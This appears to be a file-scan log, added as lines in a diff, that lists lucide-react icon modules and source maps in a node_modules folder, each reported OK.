+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-percent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-ellipsis.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-smartphone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cassette-tape.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/m-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-line-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-user-round.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-pause.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane-takeoff.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/leaf.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radius.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-12.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fish-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/barcode.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-slash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drill.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/guitar.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laptop-minimal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/timer-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/filter.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-close.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-tree.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mountain-snow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/save-all.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/boom-box.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-ccw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/castle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/audio-lines.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-drizzle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radiation.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-type.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/more-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gift.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-copy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloudy.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/captions.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pointer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cuboid.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/loader-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-type.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-inactive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skull.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/facebook.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-1.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-cursor.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/coins.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/compass.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-ban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-minus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minus-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/target.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-days.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/compass.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diff.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/triangle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/siren.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-crash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/triangle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-horizontal-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chrome.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale-3d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-0-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-warning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/inbox.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-tabs.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cross.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ferris-wheel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/files.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-image.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-narrow-wide.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-check-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-ellipsis.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milk-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/network.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tv-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laugh.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split-square-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-graph.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/download-cloud.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-9.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/picture-in-picture.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-alert.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlock-keyhole.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-list.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-split-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-audio.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/activity-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tv.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-upload.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-kanban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/speech.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth-searching.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-medium.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-marked.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eye-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tram-front.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sandwich.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/frown.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trending-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hospital.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-user.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/forward.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-down-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-square-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-distribute-start.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/messages-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/meh.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlink.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/database.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-key.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/blend.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-stop.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-up-dash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dollar-sign.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-compare.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-restart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mailbox.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-archive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-8.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-branch.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-video.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ellipsis-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/group.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/settings.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notepad-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-spreadsheet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-sensitive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/triangle-alert.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/frame.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wheat-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contact-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-barcode.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/theater.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webhook-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/car-taxi-front.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-rain-wind.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-pen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/verified.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-archive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hdmi-port.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-end-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/film.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/biohazard.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-horizonal-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-pause.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-drizzle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-circle-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fullscreen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-json.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/option.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-paste.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot-message-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/log-out.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-function.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/remove-formatting.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-half.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-pause.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/castle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/banana.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/toggle-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scroll-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/framer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-from-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/reply-all.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-x-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-create-arrow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/guitar.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-create.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vote.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dribbble.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-compare-arrows.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/backpack.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wine-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/highlighter.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-up-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-upper.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-5.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minus-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/images.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-alert.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beef.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-right-bottom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flame-kindling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-pen-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-down-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tornado.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-percent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-terminal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skip-forward.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-z-a.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-plus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer-snowflake.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban-square-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/snowflake.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-ceiling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/currency.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/euro.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fuel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-sync.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circuit-board.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-check-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pocket-knife.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bean-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/qr-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/graduation-cap.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shopping-bag.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-justify-center.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-drive-download.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dna-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slash-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-kanban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-clock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-snow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/caravan.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-symlink.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tree-palm.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/history.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/air-vent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trending-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate-fixed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-12.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ship-wheel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/warehouse.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-git-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-wide-narrow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split-square-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallpaper.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ship.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calculator.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-clock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-inactive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-to-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/loader.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/curly-braces.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-to-back.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-space-around.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/headset.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-cent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/share.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/container.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-diagonal-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-lock-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-fold.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-cursor-input.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swatch-book.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/equal-not.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-minimal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axis-3d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/picture-in-picture-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/focus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-copy.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/croissant.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stretch-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-closed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-music.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stamp.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gauge-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-alert.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-info.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tree-pine.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-01.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock-keyhole.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-range.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-sensitive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-bottom-code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-top-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diff.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/graduation-cap.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mailbox.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-arrow-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flask-conical-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-cells-split.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-select.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-bar-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utensils-crossed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-drive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-snow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-plus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hammer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thumbs-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/helping-hand.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-right-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/anchor.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calculator.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unplug.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/createLucideIcon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/defaultAttributes.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/lucide-react.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/defaultAttributes.js: OK
+/scan/node_modules/lucide-react/dist/umd/lucide-react.min.js.map: OK
